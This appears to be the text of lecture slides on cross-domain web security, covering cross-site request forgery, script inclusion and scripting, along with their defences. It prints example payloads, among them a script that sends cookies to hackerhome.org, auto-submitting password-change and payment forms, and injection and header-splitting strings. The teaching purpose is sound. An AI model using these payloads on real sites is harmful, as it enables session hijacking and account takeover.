ch8 xss

CHAPTER 8: Cross-Domain Security in

Web Applications

Outline

• Cross Domain Interaction• Attack Methods

– Cross-Site Request Forgery (XSRF)– Cross-Site Script Inclusion (XSSI)– Cross-Site Scripting (XSS)

• Prevention– Preventing XSRF– Preventing XSSI– Preventing XSS

Cross Domain Interaction• The Interaction

– Domain: where our apps & services are hosted– Cross-domain: security threats due to interactions

between our applications and pages on other domains– Ex: Alice is simultaneously (i.e. same browser session),

using our (“good”) web-application and a “malicious” web-application

• Security issues– Browser interacting with multiple web apps– Could be normal or malicious interactions– Not direct attacks

Interaction Between Web Pages From Different Domains

• Possible interactions limited by same-origin policy (a.k.a. cross-domain security policy)– Links, embedded frames, data inclusion across domains

still possible– Client-side scripts can make requests cross-domain

• HTTP & cookie authentication two common modes (both are usually cached)– Cached credentials associated with browser instance– Future (possibly malicious) requests don’t need further

authentication

HTML, JavaScriptthe Same-Origin Policy

• Modern browsers use DHTML– Support style layout through CSS– Behavior directives through JavaScript– Access Document Object Model (DOM) allowing

reading/modifying page and responding to events• Origin:

– protocol, hostname, port, – but not path

• Same-origin policy: – scripts can only access properties (cookies, DOM objects)

of documents of same origin

Same-Origin Examples• Same Origin

– http://www.examplesite.org/here– http://www.examplesite.org/there

– same protocol: (http), host: (examplesite), default port (80)

• All Different Origins– http://www.examplesite.org/here– https://www.examplesite.org/there– http://www.examplesite.org:8080/thar– http://www.hackerhome.org/yonder

– Different protocol: (http vs. https), different ports (80 vs. 8080), different hosts: (examplesite vs. hackerhome)

Possible Interactions of Documents from Different Origins

• hackerhome.org can link to us, can’t control<a href="http://www.mywwwservice.com/some_url">Click here!</a>

• Or include a hidden embedded frame:<iframe style="display: none" src="http://www.mywwwservice.com/ some_url"></iframe>

– No visible cue to the user (style attribute hides it)– Happens automatically, without user interaction

• Same-origin policy prevents JavaScript on hackerhome direct access to our DOM

Possible Interactions by Scripts

• Occasionally, data loaded from one domain is considered to originate from different domain<script src="http://www.mywwwservice.com/some_url></script">

• hackerhome can include this script loaded from our site, but it is considered to originate from hackerhome instead

• Included script can inspect contents of enclosing page which can define evaluation environment for script

Possible Interactions by browser request

• Another way attacker can initiate requests from user’s browsers to our server:

• Form is submitted to our server without any input from user– Only has a hidden input field, nothing visible to user– Form has a name, so script can access it via DOM and

automatically submit it

<form name="f" method="POST"action="http://www.mywwwservice.com/action">

<input type="hidden" name="cmd" value="do_something"> ...</form><script>document.f.submit();</script>

HTTP Request Authentication

• HTTP is stateless– web apps have to associate requests with users themselves

• HTTP authentication– username/passwd automatically supplied in HTTP header

• Cookie authentication– credentials requested in form, after POST app issues session

token– browser returns session cookie for each request– http & cookie authentication credentials cached

• Hidden-form authentication– hidden form fields transfer session token

Lifetime of Cached Cookies & HTTP Authentication Credentials

• Temporary cookies cached – until browser shut down– persistent ones cached until expiry date

• HTTP authentication credentials – cached in memory– shared by a single browser instance for all its windows– Caching depends on browser instance lifetime

• not the original window

Credential Caching Scenario• Initiate authentication credential

– Alice has browser window open– Creates new window – Visit the site, HTTP authentication credentials stored

• Leave the credential– She closes the window, but original one still opens– The hacker discovers it– The hacker sends request to our site with the cached

credentials– Credentials will be persisted after days and the attack

can still occur until cookie timeout

Essential XSS attack technique (1)

• Injecting the evil script– A web page may have scripts or requests from

different sites– When the browser loads the page, it runs the

scripts from several domains– The malicious site can inject the evil script in the

page to interact with target server automatically by the browser

Essential XSS attack technique (2)

• Use cashed cookie to bypass access control– The browser login successfully – The browser cached the authentication cookie for

convince– Evil script is injected and run by the browser– Evil script passes the authentication by browser’s

cookie

Outline




Cross-Site Request Forgery (XSRF)

• Malicious site can initiate HTTP requests to our app on Alice’s behalf, w/o her knowledge

• Cached credentials sent to our server regardless of who made the request

• Ex: change password feature on our app

– Hacker site could execute a script to send a fake password-change request to our form

– authenticates because cookies are sent

<form method="POST" action="/update_profile"> ...New Password: <input type="password" name="password">... </form>

XSRF Example

1. Alice’s browser loads page from hackerhome.org

2. Evil Script runs causing evilform to be submitted with a password-change request to our “good” form: www.mywwwservice.com/update_profile with a<input type="password" id="password"> field

3. Browser sends authentication cookies to our app. We’re hoodwinked into thinking the request is from Alice. Her password is changed to evilhax0r!

<form method="POST" name="evilform" target="hiddenframe" action="https://www.mywwwservice.com/update_profile"> <input type="hidden" id="password" value="evilhax0r"></form><iframe name="hiddenframe" style="display: none"> </iframe> <script>document.evilform.submit();</script>

evilform

XSRF Impacts• Malicious site can’t read info, but can make write

requests to our app!• In Alice’s case, attacker gained control of her account

with full read/write access!• Who should worry about XSRF?

– Apps w/ server-side state: user info, updatable profiles such as username/passwd (e.g. Facebook)

– Apps that do financial transactions for users (e.g. Amazon, eBay)

– Any app that stores user data (e.g. calendars, tasks)

/auth uname=victim&pass=fmd9032

Cookie: sessionid=40a4c04de

Example: Normal Interaction

/viewbalanceCookie: sessionid=40a4c04de

““Your balance is $25,000”Your balance is $25,000”

Alice bank.com/login.html

/auth uname=victim&pass=fmd9032


evil.org

Example: Another XSRF AttackAlice bank.com

/login.html

/evil.html

<img src="http://bank.com/paybill?addr=123 evil st & amt=$10000">

/paybill?addr=123 evil st, amt=$10000Cookie: sessionid=40a4c04de

““OK. Payment Sent!”OK. Payment Sent!”

Outline




Cross-Site Script Inclusion (XSSI)• 3rd-party can include <script> sourced from us• Static Script Inclusion

– Purpose is to enable code sharing, i.e. providing JavaScript library for others to use

– Including 3rd-party script dangerous w/o control since it runs in our context with full access to client data

• Dynamic Script– Instead of traditional postback of new HTML doc,

asynchronous requests (AJAX) used to fetch data– Malicious site performs data exchanged via XML or JSON

(arrays, dicts) with target server by the user browser

XSSI Procedure• Malicious website can request dynamic script• Browser authentication cookies would be sent• Script (JSON fragment) returned by server is

accessible to and runs on the malicious site• But, script is evaluated in hacker’s context• Hacker redefines the callback method to process and

harvest the user data as desired

XSSI Example: AJAX Script• Dynamic Script Inclusion: viewbalance.html• Good Site: www.bank.com<script>x = new XMLHTTPRequest(); // used to make an AJAX requestx.onreadystatechange = ProcessResults;x.open("POST","http://www.bank.com/json/get_data?callback=RenderData");function ProcessResults() { if (x.readyState == 4 and x.status = 200) eval(x.responseBody);}</script>

Normal AJAX Interaction

/viewbalance.htmlCookie: sessionid=40a4c04de

Alice bank.comlogin & authenticate


/json/get_data?callback=RenderData

RenderData({“acct_no”:”494783”, “balance”:”10000”})

RenderData

Another XSSI Attack

/viewbalance.html Cookie: sessionid=40a4c04de

Alice bank.comlogin & authenticate


RenderData({“acct_no”:”494783”, “balance”:”10000”})

evil.org

/evil.html

<script>function RenderData(args) { sendArgsToEvilOrg(args); }</script><script src="http://www.bank.com/json/get_data?callback=RenderData">

RenderData({“acct_no”:”494783”, “balance”:”10000”})Overrides Callback!

Outline




Cross-Site Scripting (XSS)

• What if attacker can get a malicious script to be executed in our application’s context?

• access user’s cookies, transfer to their server• Ex: our app could have a query parameter in a search

URL and print it out on page– http://www.mywwwservice.com/query?question=cookies

– Following fragment in returned HTML document with value of parameter question inserted into page

– Unfiltered input allows attacker to inject scripts

...<p>Your query for 'cookies' returned the following results:<p>...

XSS Example

• Alice tricked into loading URL (thru link or hidden frame sourcing it)

• Server’s response contains

– Attack string URL-encodes < and >• malicious-script, any script attacker desires, is

executed in context of our domain

http://www.mywwwservice.com/query?question=cookies+%3Cscript%3Emalicious-script%3C/script%3E

<p>Your query for 'cookies <script>malicious-script</script>' returned the following results:</p>

XSS Exploits: Stealing Cookies

• Malicious script could cause browser to send attacker all cookies for our app’s domain

• Attacker gains full access to Alice’s session

• Script associated with our domain– Can access document.cookie in DOM– Constructs URL on attacker’s server, gets saved in a log

file, can extract info from cookie parameter

<script> i = new Image(); i.src = "http://www.hackerhome.org/log_cookie?cookie=" + escape(document.cookie); // URL-encode</script>

XSS Exploits: Scripting the Vulnerable Application

• Complex script with specific goal– Get personal user info, transfer funds, etc…– More sophisticated than just stealing cookies

• Advantages over cookie stealing– Stolen session cookie may expire before it’s used– Never makes a direct request to our server– We can’t log his IP, he’s harder to trace

XSS Exploits: Modifying Web Pages

• Attacker can script modifications to web pages loaded from our site by manipulating DOM

• Part of social engineering, phishing attack• Intended for viewing by victim user• Modified page is loaded from our site

– So URL is still the same– No certificate-mismatch even with SSL– Hard to tell that modification is by 3rd party

Sources of Untrusted Data• Query parameters, HTML form fields• Path of the URI which could be inserted into page via

a “Document not found” error• Cookies, parts of the HTTP request header (e.g. Referer header)

• Data inserted into a SQL DB, file system• 3rd party data (e.g. RSS feed)

Stored vs. Reflected XSS• Reflected XSS: script injected into a request and

returned immediately in response (like query parameter example)

• Stored XSS: script delivered to victim some time after being injected– stored somewhere in the meantime– attack is repeatable, more easily spread– Ex: Message board with injected script in a message, all

users who view the message will be attacked• Underlying issue for both is untrusted data

MySpace Attacked by Stored XSS Worm

• XSS really damaging when stored XSS can propagate in a worm-like pattern

• In 2005, XSS worm released on MySpace– Propagated through profiles via friend connections– Payload harmless: added user “Samy” to infected user’s

friends list• Impact: MySpace down for several hours to clean up

profiles (but XSS worm impact could be much worse!)

Outline




Preventing XSRF

• HTTP requests originating from user action are indistinguishable from those initiated by a script

• Need own methods to distinguish valid requests• Inspecting Referer Headers• Validation via User-Provided Secret• Validation via Action Token

Inspecting Referer Headers• Referer header specifies the URI of document

originating the request• Assuming requests from our site are good, don’t

serve requests not from our site

• OK, but not practical since it could be forged or blanked (even by legitimate users)– For well-behaved browsers, reasonable to expect Referer headers to be accurate, if present

– But if blank, we can’t tell if it’s legitimate or not

Validation via User-Provided Secret

• Can require user to enter secret (e.g. login password) along with requests that make server-side state changes or transactions

• Ex: The change password form could ask for the user’s current password

• Balance with user convenience: use only for infrequent, “high-value” transactions – Password or profile changes– Expensive commercial/financial operations

Validation via Action Token

• Add special action tokens as hidden fields to “genuine” forms to distinguish from forgeries

• Same-origin policy prevents 3rd party from inspecting the form to find the token

• Need to generate and validate tokens so that– Malicious 3rd party can’t guess or forge token– Then can use to distinguish genuine and forged forms– How? We propose a scheme next.

Generating Action Tokens

• Concatenate value of timestamp or counter c with the Message Authentication Code (MAC) of c under secret key K:– Token: T = MACK(c)||c– Security dependent on crypto algorithm for MAC– || denotes string concatenation, T can be parsed into

individual components later

• MACs are function of message and secret key– Hash the message with secret key

Validating Action Tokens

• Split token T into MAC and counter components• Compute expected MAC for given c and check that

given MAC matches• If MAC algorithm is secure and K is secret, 3rd party

can’t create MACK(c), so can’t forge token

Problem with Scheme

• Application will accept any token we’ve previously generated for a browser

• Attacker can use our application as an oracle!– Uses own browser to go to page on our site w/ form– Extracts the token from hidden field in form

• Need to also verify that incoming request has action token sent to the same browser (not just any token sent to some browser)

Fixing the Problem

• Bind value of action token to a cookie– Same-origin policy prevents 3rd party from reading or

setting our cookies– Use cookie to distinguish between browser instances

• New Scheme– Cookie C is unpredictable, unique to browser instance– C can be session authentication cookie– Or random 128 bits specifically for this purpose– L = action URL for form with action token– Compute T = MACK(C||d||L), d is separator (e.g. ;)– d ensures uniqueness of concatenation

Validation in New Scheme

• Extract request URL L’ (w/o query part for GET request) and cookie C’.

• Compute expected value of action token:– Texpected = MACK(C’||d||L’)

• Extract actual Trequest of action token from appropriate request parameter

• Verify Texpected = Trequest ,otherwise reject• Occasionally legitimate request may fail

– Ex: user leaves page w/ form open and initiates new session in different window; action token for original form becomes “stale”

Security Analysis of the Action Token Scheme

• Value of token chosen to be unguessable– Output of cryptographically strong MAC algorithm– Attack rate limited by JavaScript loop, far slower than

rates usually supposed for offline attacks against crypto algorithms

• Only way to obtain token (w/o key) is to use our app as an oracle– This also requires the user’s session cookie– Assume attacker doesn’t have this otherwise he could

already directly hijack the session anyway– Session cookies are also hard to guess

Security Analysis: Leakage of Action Tokens

• For GET requests, action token visible as query parameter in request URL– Would appear in proxy and web server logs– Could be leaked in Referer header if page contains

references (images, links) to 3rd party documents• HTTP spec recommends POST instead of GET• Scheme incorporates target action URL into MAC

computation– If one URL is leaked, can’t be used against another– Use fresh cookie for each browser instance, so stolen

action token not usable for future sessions

Analysis: Limitations in Presence of XSS Vulnerabilities

• If application is vulnerable to XSS attack, action token scheme is ineffective.

• Attacker can inject script to steal cookies and corresponding action tokens.

• Or even directly “fill out” forms and submit request within context of user’s session

• But if XSS vulnerability exists, attacker already has a better mode of attack than XSRF

Analysis: Relying on Format of Submitted Data

• Communication with server often follows RPC pattern through XMLHttpRequest object

• Marshalling data in some form (e.g. JSON/XML)• Form-based request ex:

– results in following POST request (not valid JSON)

• Form’s fields encoded as key/value pairs– Metacharacters (&, =, space) are HTML-encoded– All key/value pairs concatenated, separated by & char

<form method="POST" action="http://www.mywwwservice.com/action"> <input name="foo" value="I'd like a cookie"> <input name="bar" value="and some tea & coffee"></form>

foo=I'd%20like%20a%20cookie&bar=and%20some%20tea%20%26%20coffee

Relying on Format of Submitted Data

• <form> tag also has enctype attribute– specifying encoding via MIME media type– Default: application/x-www-form-urlencoded– text/plain (&-separated pairs w/o encoding)

• Form Example and corresponding POST:<form method="POST" action="http://www.mywwwservice.com/action" enctype="text/plain"> <input name='{"junk": "ig' value='nore", "new_password": "evilhax0r"}'></form>

{"junk": "ig=nore", "new_password": "evilhax0r"}

POST request can have arbitrary content (including valid JSON/XML)!Can’t just rely on format, use action tokens to prevent XSRF!

Valid JSON!

Outline




Preventing XSSI

• Can’t stop others from loading our resources• Similar problem with preventing XSRF

– need to distinguish 3rd party references from legitimate ones, so we can deny the former

• Authentication via Action Token

• Restriction to POST Requests

• Preventing Resource Access for Cost

Authentication via Action Token

• Put an additional query parameter w/ token which must be consistent w/ session cookie– Malicious page can’t guess token, request refused

• Employ same action token scheme introduced against XSRF (can use a single token for both purposes)

• Use POST whenever possible, to prevent leaking of token via GET parameters in URL– Leakage risk less b/c JavaScript document, not HTML

Restriction to POST Requests

• Cross-domain attacks entry point: <script> tags – these always use GET

• To protect read-only requests, restrict to POST

• Use action tokens to protect all Ajax requests• Ajax mixes read-only and state-changing (write)

requests, so POST restriction alone doesn’t help

Preventing Resource Access for Cost Reasons

• If ISP charges for volume of traffic– Limit resource inclusion by 3rd party for cost reasons– Just decline requests if Referer header is not one of our

sites– Serve requests with empty Referer headers

• Not a complete solution, but sufficient for limiting “bandwith leeching”– Perhaps a few requests slip through, but only a fraction of

the cost still remains

Outline




Preventing XSS

• Never send untrusted data to browser– Such that data could cause execution of script– Usually can just suppress certain characters

• We show examples of various contexts in HTML document as template snippets– Variable substitution placeholders: %(var)s– evil-script; will denote what attacker injects– Contexts where XSS attack is possible

General Considerations

• Input Validation vs. Output Sanitization– XSS is not just a input validation problem– Strings with HTML metachars not a problem until they’re

displayed on the webpage– Might be valid elsewhere, e.g. in a database, and thus

not validated later when output to HTML– Sanitize: check strings as you insert into HTML doc

• HTML Escaping– escape some chars with their literals– e.g. & = & < = < > = &rt; “ = "– Library functions exist, but check docs (may not escape

all characters)!

Simple Text

• Most straightforward, common situation• Example Context:

– Attacker sets query = <script>evil-script;</script>– HTML snippet renders as

• Prevention: HTML-escape untrusted data• Rationale: If not escaped

– <script> tags evaluated, data may not display as intended

<b>Error: Your query '%(query)s' did not return any results.</b>

<b>Error: Your query '<script>evil-script;</script>' did not return any results.</b>

Tag Attributes (e.g., Form Field Value Attributes)

• Contexts where data is inserted into tag attribute• Example HTML Fragment:

– Attacker sets– Renders as

• Attacker able to “close the quote”, insert script

<form ...><input name="query" value="%(query)s"></form>

query = cookies"><script>evil-script;</script>

<form ...> <input name="query" value="cookies"> <script>evil-script;</script>"></form>

More Attribute Injection Attacks

• Image Tag: <img src=%(image_url)s>• Attacker sets image_url = http://www.examplesite.org/

onerror=evil-script;

• After Substitution: <img src=http://www.examplesite.org/ onerror=evil-script;>

– Lenient browser: first whitespace ends src attribute– onerror attribute sets handler to be desired script– Attacker forces error by supplying URL w/o an image– Can similarly use onload, onmouseover to run scripts– Attack string didn’t use any HTML metacharacters!

Preventing Attribute Injection Attacks

• HTML-escape untrusted data as usual– Escape &, ', ", <, >

• Also attribute values must be enclosed in " “• Must escape the quote character to prevent “closing

the quote” attacks as in example• Decide on convention: single vs. double quotes

– But escape both anyway to be safe

URL Attributes (href and src)

• Dynamic URL attributes vulnerable to injection• Script/Style Sheet URLs: <script src="%(script_url)s">

– Attacker sets script_url = http://hackerhome.org/evil.js • javascript: URLS - <img src="%(img_url)s">

– By setting img_url = javascript:evil-script; we get<img src="javascript:evil-script;">

– And browser executes script when loading image

Preventing URL Attribute Injection

• Escape attribute values and enclose in " "– Prevent injecting evil scripts in tag attribute

• Only serve data from servers you control– For URLs to 3rd party sites, use absolute HTTP URLS (i.e.

starts with http:// or https://)• Against javascript: injection, whitelist for good

URLs (apply positive filter)– Not enough to just blacklist, too many bad URLs– Ex: even escaping colon doesn’t prevent script– Could also be

data:text/html,<script>evil-script;</script>

Style Attributes• Dangerous if attacker controls style attributes

– Attacker injects: – Browser evaluates:

• In IE 6 (but not Firefox 1.5), script is executed!• Prevention: whitelist through regular expressions

– Ex: ^([a-z]+)|(#[0-9a-f]+)$ specifies safe superset of possible color names or hex designation

– Or expose an external param (e.g. color_id) mapped to a CSS color specifier (lookup table)

<div style="background: %(color)s;">I like colors.</div>

color = green; background-image: url(javascript:evil-script;)

<div style="background: green; background-image: url(javascript:evil-script;);"> I like colors. </div>

Within Style Tags

• Injections into style= attributes also apply for <style> tags

• Validate data by whitelisting before inserting into HTML document <style> tag

• Apply same prevention techniques as previous slide

In JavaScript Context

• Be careful embedding dynamic content– <script> tags or handlers (onclick, onload, …)– In Ajax-apps, server commonly returns JavaScript:

– Attacker injects:– And evil-script; is executed!

<script> var msg_text = '%(msg_text)s'; // do something with msg_text </script>

<script> var msg_text = 'oops'; evil-script; //'; // do something with msg_text</script>

msg_text = oops'; evil-script; //

Preventing JavaScript Injection• Don’t insert user-controlled strings into JavaScript

contexts– <script> tags, handler attributes (e.g. onclick)– w/in code sourced in <script> tag or using eval()– Exceptions: data used to form literal (strings, ints, …)– Enclose strings in ' ' & backslash escape (\n, \t, \x27)– Format non-strings so that string rep is not malicious– Backslash escaping important to prevent “escape from the

quote” attack where notions of “inside” and “outside” string literals is reversed

– Numeric literals ok if from Integer.toString(), …

Another JavaScript Injection Example

• From previous example, if attacker sets

– the following HTML is evaluated:

• Browser parses document as HTML first– Divides into 3 <script> tokens before interpreting as

JavaScript – Thus 1st & 3rd invalid, 2nd executes as evil-script

msg_text = foo</script><script>evil-script;</script><script>

<script>var msg_text = 'foo</script><script>evil-script;</script><script>'// do something with msg_text</script>

JavaScript-Valued Attributes• Handlers inside onload, onclick attributes:

– HTML-unescaped before passing to JS interpreter– Ex:– Attacker injects:– Browser

Loads:– JavaScript Interpreter gets

• Prevention: Two Rounds of Escaping– JavaScript escape input string, enclose in ' '– HTML escape entire attribute, enclose in " "

<input ... onclick='GotoUrl("%(targetUrl)s");'>

targetUrl = foo");evil_script("

<input ... onclick='GotoUrl("foo");evil_script("");'>

GotoUrl("foo");evil_script("");

JavaScript-Valued Attributes Prevention Rationale

• HTML-escaping step prevents attacker from sneaking in HTML-encoded characters

• Different style quotes– Single for JavaScript literals– Double for HTML attributes– Avoid one type accidentally “ending” the other

• JavaScript escape function should escape HTML metachars (&, <, >, ", ') as well– Escaped into hex or unicode– Additional security measure if second step forgotten

Redirects, Cookies, and Header Injection

• Need to filter and validate user input inserted into HTTP response headers

• Ex: servlet returns HTTP redirect

– Attacker Injects:(URI-encodesnewlines)

HTTP/1.1 302 MovedContent-Type: text/html; charset=ISO-8859-1Location: %(redir_url)s

<html> <head><title>Moved</title></head> <body>Moved <a href='%(redir_url)s'>here</a></body> </html>

oops:foo\r\nSet-Cookie: SESSION=13af..3b;domain=mywwwservice.com\r\n\r\n<script>evil()</script>

Header Injection Example• Resulting HTTP response:

– Attacker sets desired cookies: could overwrite user preferences (DoS) or action tokens (XSRF)

– Double CRLF injects script into body which could be executed after Location: header is invalidated

HTTP/1.1 302 MovedContent-Type: text/html; charset=ISO-8859-1Location: oops:fooSet-Cookie: SESSION=13af..3b; domain=mywwwservice.com

<script>evil()</script><html><head><title>Moved</title></head><body>Moved <a href='oops:fooSet-Cookie: SESSION=13af..3b; domain=mywwwservice.com<script>evil()</script>'>here</a></body></html>

Preventing Header Injection• Ensure URLs for Location: headers are well-

formed http: or https:– Only consists of characters permitted to be non-escaped

according to standard (e.g. RFC 2396)– Checks that it’s not javascript: URL for example

• Check that cookie names and values within standard (e.g. RFC 2965)

• Setting other headers: ensure values contain only characters allowed by HTTP/1.1 protocol spec (RFC 2616)– Restricting to specs ensures browser parses correctly

Filters for “Safe” Subsets of HTML

• Allow “safe” subset of HTML and render to user• Ex: web-based e-mail app

– Can allow “harmless” HTML tags (e.g. <h1>) – But don’t allow execution of malicious scripts

• Use strict HTML parser– Strip tags and attributes that are not whitelisted (i.e.

known to not allow arbitrary scripting)– Consult a security expert

Unspecified Charsets, Browser-Side Charset Guessing, and UTF-7 XSS Attacks

• Browser needs to know what character encoding to use to render HTML document– Server can specify through charset parameter of Content-Type HTTP header or <meta http-equiv>

– Default: iso-8859-1– Or may try to guess the charset

• Example: attacker injects UTF-7 text

– No characters that are normally filtered– No charset specified, so IE guesses UTF-7– +ADw- , +AD4- encode < , >: script executed!

+ADw-script+AD4-alert(document.domain);+ADw-/script+AD4-

Preventing Charset XSS Attacks

• Explicitly specify appropriate charset– Ex: Content-Type: text/html; charset=UTF-8– Or through tag:

– Meta-tag should appear before untrusted tags– Appropriate: the one that reflects encoding assumptions

used by app for filtering/sanitizing input and HTML encoding output strings

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

Non-HTML Documents & IE Content-Type Sniffing

• Browsers may ignore MIME type of document– Specifying Content-Type: text/plain should not interpret

HTML tags when rendering

– But not true for IE: mime-type detection

• AKA Content-Type Sniffing: ignores MIME spec– IE scans doc for HTML tags and interprets them– Even reinterprets image documents as HTML!

Preventing Content-Type Sniffing XSS Attacks

• Validate that content format matches MIME type– Especially for image files: process through library– Read image file, convert to bitmap, convert back– Don’t trust image file format,

• Ensure no HTML tags in first 256 bytes of non-HTML file– Could prepend 256 bytes of whitespace– Empirically determined # (also in docs), could be different

for other versions• Or could HTML-escape entire document

Mitigating the Impact of XSS Attacks

• HTTP-Only Cookies: incomplete protection– HTTPOnly attribute on cookie in IE prevents it from

being exposed to client-side scripts– can prevent traditional session hijacking– But only for IE and doesn’t prevent direct attacks– Should also disable TRACE requests

• Binding Session Cookies to IP Address– check if session token is being used from multiple IP

addresses (especially geographically distant)– could cause user inconvenience, use only for high-

value transactions

Types of XSS Attacks RecapContext Examples

(where to inject evil-script)

Prevention Technique

Simple Text <b>'%(query)'</b> HTML Escaping

Tag Attributes (Attribute-Injection)

<input … value ="%(query)"/>

HTML Escaping(attrib values in " ")

URL Attributes(href, src attribs.)

<script src ="%(script_url)">

Whitelist(src from own server?)

Style Attributes(or <style> tags)

<div style="back ground: %(color);">

Whitelist(Use RegExps)

JavaScript (JS) <input... onclick=''>

Escape JS/HTML

HTTP Header HTTP/1.1 302 Moved...

Location: %(redirUrl)

Filter Bad URLs(check format)

Summary• Cross-Domain Attacks

– Not direct attacks launched against our app– User views ours and a malicious site in same browser– Attacker tries to run evil scripts, steal our cookies, …– Types: XSRF, XSSI, XSS

• Prevention:– Against XSRF & XSSI: use cookie-based authentication,

prefer POST over GET, action tokens– Against XSS: validate input & sanitize output, use

HTML/Javascript escaping appropriately, whitelist